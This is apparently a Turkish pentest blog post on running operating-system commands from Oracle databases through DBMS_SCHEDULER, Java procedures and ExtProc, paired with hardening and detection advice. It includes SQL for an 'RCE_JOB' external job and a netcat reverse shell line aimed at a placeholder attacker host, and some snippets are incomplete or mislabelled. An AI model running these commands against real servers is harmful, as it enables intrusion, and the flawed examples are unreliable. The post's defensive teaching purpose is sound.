CyberFlow Logo CyberFlow BLOG
Oracle Pentest

Oracle'da OS Komut Çalıştırma: Güvenlik ve Stratejiler

✍️ Ahmet BİRKAN 📂 Oracle Pentest

Oracle veritabanında işletim sistemi komutlarını çalıştırma tekniklerini keşfedin. Güvenlik açıklarını önlemek için en iyi uygulamaları öğrenin.

Oracle'da OS Komut Çalıştırma: Güvenlik ve Stratejiler

Oracle'da işletim sistemi komutları çalıştırma ile ilgili en güncel yöntemleri, güvenlik zorunluluklarını ve koruma stratejilerini keşfedin. Sızma testlerine dair önemli bilgiler edinin.

Giriş ve Konumlandırma

Siber güvenlik, günümüzün dijital dünyasında, veri sistemlerinin güvenliği ve mahremiyetinin korunması açısından kritik bir öneme sahiptir. Özellikle, veri tabanı yönetim sistemlerinde bulunan zafiyetler, siber saldırganlar için önemli bir hedef haline gelmektedir. Bu bağlamda, Oracle veri tabanı platformunda işletim sistemi (OS) komutları çalıştırmanın yolları ve bunların güvenlik boyutları üzerinde durulması gereken önemli konulardan biridir.

Oracle'da OS komut çalıştırma, DBMS_SCHEDULER gibi modern araçlar aracılığıyla gerçekleştirilebilirken, bu süreçte dikkat edilmesi gereken birçok güvenlik hususu bulunmaktadır. Saldırganların, sistemde yetki kazanarak harici komutlar çalıştırması, veri bütünlüğünü tehdit edebilir ve kötü niyetli faaliyetlere yol açabilir. Dolayısıyla, bilgi güvenliği uzmanları ve siber güvenlik profesyonellerinin, bu tür zafiyetlere karşı etkili savunma stratejileri geliştirmeleri önemlidir.

Siber güvenlik bağlamında, pentest (sızma testi) uygulamaları, zafiyetleri belirlemek ve sistemlerin güvenliğini artırmak adına kritik bir rol oynamaktadır. OS komut yürütme zafiyeti, genellikle yüksek yetkilere sahip kullanıcı hesapları üzerinden gerçekleştirilir ve bu durum, sunucu üzerinde kötüye kullanım riskini artırır. Özellikle sızma testi senaryolarında, bu zafiyetin doğru bir şekilde analiz edilmesi ve sistemden iz bırakmadan gerçekleştirilmesi, saldırganların sistemde ne kadar süre kalabileceği açısından önem taşır.

Bu yazının amacı, Oracle veri tabanında OS komut çalıştırma işlemlerinin nasıl gerçekleştirilip potansiyel risklerin neler olduğu konusunda okuyucuyu bilgilendirmektir. Modern Oracle sürümlerinin sunduğu DBMS_SCHEDULER gibi araçlar, harici komutlar yürütmek için kullanılmakta ve buna örnek olarak, belirli bir OS kullanıcısı adına görevler oluşturulması gösterilmektedir. Öte yandan, bu yapıların kötüye kullanımı, veri tabanı yöneticileri ile güvenlik profesyonelleri için bir tehdit oluşturmaktadır.

Bir veri tabanı yöneticisinin ve siber güvenlik uzmanının, sistem üzerindeki kontrolsüz erişim kapılarını önlemek için alarm verici işaretler ve iz bırakma yönleri konusunda bilgi sahibi olması gerekmektedir. Özellikle, yetkilendirme ve kimlik doğrulama süreçlerinin sıkı kurallara tabi tutulması ve gerekli önlemlerin alınması bu açıdan önemlidir. Güvenlik açıklarının tetiklenmesiyle oluşabilecek zararları minimize etmek adına, sistemdeki güvenlik önlemleri sürekli olarak izlenmeli ve güncellenmelidir.

Örneğin, bir kullanıcı DBMS_SCHEDULER ile harici bir iş oluşturmak ve bu işin yetkili bir kullanıcı adına çalıştırılmasını sağlamak üzere aşağıdaki SQL komutunu kullanabilir:

DBMS_SCHEDULER.CREATE_JOB(job_name => 'RCE_JOB', job_type => 'EXTERNAL_SCRIPT', job_action => '/path/to/script.sh');

Bu tür bir komutun yanlış ellerde nasıl bir tehdit oluşturabileceği düşünülmelidir. Dolayısıyla, yetkilerin sınırlandırılması ve "GRANT CREATE EXTERNAL JOB" benzeri komutların dikkatli bir şekilde yönetilmesi gerekmektedir. Ayrıca, sistem üzerindeki yeni bir işlem kaydının loglanması için kullanılan auditd gibi araçlar, olası kötüye kullanımların tespit edilmesine yardımcı olabilir. İyi yapılandırılmış bir sunucu, potansiyel saldırganların faaliyetlerini zorlaştıracak birçok koruma mekanizması içermelidir.

Sonuç olarak, Oracle veri tabanındaki OS komut çalıştırma işlemleri, dikkate alınması gereken ciddi bir güvenlik meselesidir. Sistem yöneticileri ve güvenlik uzmanları, bu konudaki en güncel bilgilerle donanımlı olmalı ve zafiyetleri en aza indirmek için gerekli önlemleri almalıdırlar. Böylece, veri güvenliğini sağlamak ve potansiyel siber saldırılara karşı daha dayanıklı sistemler oluşturmak mümkün olacaktır.

Teknik Analiz ve Uygulama

DBMS_SCHEDULER ile Komut Tetikleme

Oracle'da işletim sistemi komutlarını yürütmek için en modern yöntem, DBMS_SCHEDULER paketidir. Bu paket, dış komutları (external jobs) oluşturmanıza olanak tanır. Örneğin, şu şekilde yeni bir iş (job) oluşturabilirsiniz:

BEGIN
  DBMS_SCHEDULER.CREATE_JOB(
    job_name => 'RCE_JOB',
    job_type => 'EXTERNAL_SCRIPT',
    number_of_arguments => 0,
    enabled => TRUE,
    auto_drop => TRUE
  );
END;
/

Bu komut, RCE_JOB adında dış bir job oluşturur ve onu etkin hale getirir. Ayrıca, auto_drop parametresi sayesinde job tamamlandıktan sonra otomatik olarak silinecektir.

Komut Çalıştırma Yöntemleri

Oracle veritabanında belirli komutları çalıştırmak için kullanılan birkaç yöntem bulunmaktadır. Bu yöntemler arasında Java Stored Procedures, ExtProc, ve DBMS_SCHEDULER en sık tercih edilenlerdir.

Java Stored Procedures, JVM üzerinden Runtime.exec() metodunu kullanarak sistem komutlarını yürütmeye olanak tanır. Diğer bir yöntem olarak, ExtProc kullanılarak veri tabanı dışındaki C kütüphaneleri çağırılabilir. Örneğin, bir ExtProc işlemiyle aşağıdaki gibi bir komut çalıştırılabilir:

CREATE OR REPLACE LIBRARY my_lib AS '/path/to/my_library.so';

Yukarıdaki örnekte, my_library.so isimli kütüphane tanımlanmıştır ve bu kütüphaneden komutlar çağrılabilir.

Yetki Gereksinimleri

Dış komut çalıştırabilmek için kullanıcıların belirli sistem yetkilerine sahip olması gerekmektedir. Örnek olarak, aşağıdaki gibi yetki verme işlemleri gerçekleştirilir:

GRANT CREATE JOB TO hacker_user;

Bu komut, hacker_user kullanıcısına job oluşturma yetkisi verir. Ancak özellikle üretim ortamlarında hangi kullanıcıların bu yetkilere sahip olduğunu dikkatle incelemek gereklidir.

İşletim Sistemi Kullanıcısını Tespit Etme

Oracle sunucusundaki işletim sistemi kullanıcılarını belirlemek için USERENV fonksiyonu kullanılabilir. Örnek aşağıdaki gibi sorgulanabilir:

SELECT USERENV('SESSION_USER') FROM dual;

Bu komut, oturum açan kullanıcı bilgisini döndürür. Genellikle komutlar oracle veya düşük yetkili kullanıcılarla (nobody) çalışır. Sızma testlerinde bu bilgiyi doğrulamak kritik öneme sahiptir.

Kimlik Bilgisi (Credential) Kullanımı

Modern Oracle sürümlerinde, harici işler için kullanıcıların belirli bir OS kullanıcısı adına çalıştırılmasına olanak tanıyan SCHEDULER CREDENTIAL nesnesi kullanılmalıdır. Bu özellik, işlerin yalnızca belirli kullanıcılarla çalışabilmesini sağlar ve sistem güvenliğini artırır.

Bir kimlik bilgisi oluşturmak için aşağıdaki komutu kullanabilirsiniz:

BEGIN
  DBMS_SCHEDULER.CREATE_CREDENTIAL(
    credential_name => 'my_credential',
    username => 'os_user',
    password => 'password123'
  );
END;
/

Tespit Mekanizmaları

Dış komut çalıştırma işlemleri genellikle sunucu seviyesinde iz bırakır. Bu nedenle, sistem yöneticileri tarafından çeşitli güvenlik araçları ve loglama mekanizmaları kullanarak izlemeyi sağlamak gerekir. auditd gibi log servisleri, yeni bir process oluşumunu kaydetmek için sürekli izleme yapmaktadır. İşletim sistemi düzeyinde yapılan aktivitelerin kaydına dikkat etmek, olası bir saldırının tespit edilmesi açısından önemlidir.

Reverse Shell Mantığı

Yasal ya da etik dışı olabilecek bir uygulama olarak, dış komutları kullanarak bir sistemin kontrollü uzaktan erişimini sağlamak mümkündür. Örneğin, nc (netcat) komutuyla hedef sistemden bir reverse shell başlatmak yaygın bir yöntemdir:

nc ATTACKER_IP PORT -e /bin/sh

Bu tür bir komut çalıştırıldığında potansiyel bir saldırgan hedef makineye bağlanabilir. Bu tür faaliyetlerin önlenmesi için sisteminizi sıkılaştırmak ve güvenliğini artırmak gereklidir.

Korunma ve Sıkılaştırma

Oracle sistemlerinin korunması amacıyla, özellikle os_user ve credential gibi yapıların yönetimi dikkatli bir şekilde yapılmalıdır. Kullanıcıların yetkileri gözden geçirilmeli ve mümkün olduğunca kısıtlanmalıdır. Örneğin:

REVOKE CREATE EXTERNAL JOB FROM hacker_user;

Bu komut, hacker_user'ın harici job oluşturma yetkisini kaldırarak sistemin güvenliğini artırır. Ek olarak, Oracle servisi için kullanılan shell erişimi (-/bin/false gibi) kısıtlanmalıdır.

Sonuç olarak, Oracle'da işletim sistemi komutlarını çalıştırmak, büyük bir dikkat ve titizlik gerektiren bir süreçtir. Bilgi güvenliği anlamında yapılacak herhangi bir operasyon öncesinde sistemin zafiyetleri ve saldırı yüzeyleri detaylı bir şekilde analiz edilmelidir.

Risk, Yorumlama ve Savunma

Oracle veri tabanında işletim sistemi komutlarını çalıştırma yeteneği, uygun yapılandırılmadığında ciddi güvenlik riskleri doğurabilir. Özellikle DBMS_SCHEDULER üzerinden gerçekleştirilen harici işlerin kötü niyetli kişiler tarafından istismar edilmesi, veri güvenliği ve sistem bütünlüğü üzerinde olumsuz etkiler yaratabilir. Bu bölümde, elde edilen bulguların güvenlik anlamında yorumlanması, potansiyel zafiyetlerin etkileri ve alınabilecek savunma tedbirleri üzerinde durulacaktır.

Risk Değerlendirmesi

Oracle sunucularında işletim sistemi komutlarının çalıştırılabilmesi için belirli yetkilere ihtiyaç duyulmaktadır. Genellikle 'oracle' kullanıcısı veya 'nobody' gibi düşük yetkili sistem kullanıcıları ile komutlar çalıştırılmaktadır. Kullanım şekline bağlı olarak, bu durum aşağıdaki risklere yol açabilir:

  1. Yanlış Yapılandırma Zafiyeti: Çok sayıda Oracle veritabanı yöneticisi, DBMS_SCHEDULER’ı kullanarak harici komutlar çalıştırırken, doğru credential ayarlamalarını yapmamış olabilir. Bu durum, yetkisiz kullanıcıların kritik verilere erişim sağlamasına veya zararlı komutları çalıştırmasına neden olabilir.

  2. Sızma ve Veri Erişimi: Eğer bir saldırgan işletim sistemi komutlarını çalıştırma yetkisine sahip olursa, veri tabanına erişim sağlayabilir veya veritabanı üzerinden başka sistemlere sızma gerçekleştirebilir. Örneğin, aşağıdaki komut ile sunucu üzerindeki kullanıcı kimliklerini gözetlemek mümkündür:

    /usr/bin/id > /tmp/whoami.txt
    
  3. Sunucu Topolojisi ve Servis Bilgisi: Sızıntı, sunucunun ağı ve hizmetleri hakkında bilgi edinilmesine olanak tanır. Saldırgan, elde ettiği bilgilerle sistemin diğer unsurlarını hedef alabilir. İşletim sisteminde çalışan uygulama ve hizmetlerin algılanması, sıklıkla kötü niyetli faaliyetleri kolaylaştırır.

Yöntemlerin Yorumlanması

Oracle'ın sunduğu komut çalıştırma yöntemleri, kullanılmaları durumunda dikkatlice değerlendirilmelidir. Örneğin, Oracle 10g öncesi sürümlerde harici komut gönderimi DBMS_PIPE üzerinden yapılmakta iken, modern sürümlerde bu işlemler DBMS_SCHEDULER ile gerçekleştirilmektedir. Bu geçiş, kullanım kolaylığı sağlar fakat aynı zamanda yeni saldırı vektörlerinin doğmasına da neden olabilir.

Tespit Mekanizmaları: Olası bir komut çalıştırma durumunun tespit edilmesi, sunucu seviyesinde log tutma mekanizmaları ile mümkündür. Örneğin, auditd servisi, yeni bir process oluşturulmasını kaydederek şüpheli aktivitelerin izlenmesine olanak tanır.

Savunma Stratejileri

Zafiyetleri minimize etmek ve Oracle sunucuları üzerindeki işletim sistemi komutlarının kötüye kullanılmasını önlemek adına aşağıdaki savunma stratejileri uygulanmalıdır:

  1. Yetki Kısıtlaması: Kullanıcılara yalnızca gerekli yetkilerin verilmesi sağlanmalıdır. Özellikle GRANT CREATE EXTERNAL JOB yetkisi gibi yüksek yetkiler, yalnızca güvenilir kullanıcılarla sınırlandırılmalıdır. Örneğin, bu yetkinin sadece SYS şemasında kalmasını sağlayan REVOKE CREATE EXTERNAL JOB komutu ile yetkisiz erişimi engellemek mümkündür.

  2. Kullanıcı Hardening: Oracle servisine ait kullanıcıların shell erişimlerinin kısıtlanması önerilir. OS User Hardening işlemi, oracle kullanıcısının /bin/false shelli kullanılarak kullanıcı erişimini engellemektedir.

  3. Credential Yönetimi: Oluşturulan işleri çalıştıracak credential ve kullanıcıların doğru yapılandırıldığına emin olunmalıdır. CREATE_CREDENTIAL komutuyla OS kullanıcı adı ve parolasını güvenli bir nesne olarak depolamak, potansiyel zafiyetlerin önüne geçebilir.

  4. Düzenli Log Kontrolü ve İzleme: Sistem üzerinde her zaman log dosyalarının düzenli olarak kontrol edilmesi, potansiyel saldırıların erken tespit edilmesine yardımcı olabilir. Kullanılmakta olan komutların izlerinin bırakıldığı ve tespit mekanizmalarının devrede olduğu unutulmamalıdır.

Sonuç Özeti

Oracle veri tabanında işletim sistemi komutlarını çalıştırma yeteneği, doğru yönetilmediğinde büyük güvenlik riskleri taşımaktadır. Kullanıcı yetkilerinin dikkatli bir şekilde yapılandırılması, potansiyel zafiyetlerin tespit edilmesi için loglama sistemlerinin etkin kullanımı ve uygun savunma stratejilerinin uygulanması, veri tabanlarının güvenliğini artıracaktır. Kapsamlı bir risk değerlendirmesi ve proaktif güvenlik yaklaşımları, Oracle sunucularında siber tehditlere karşı etkili bir savunma hattı oluşturacaktır.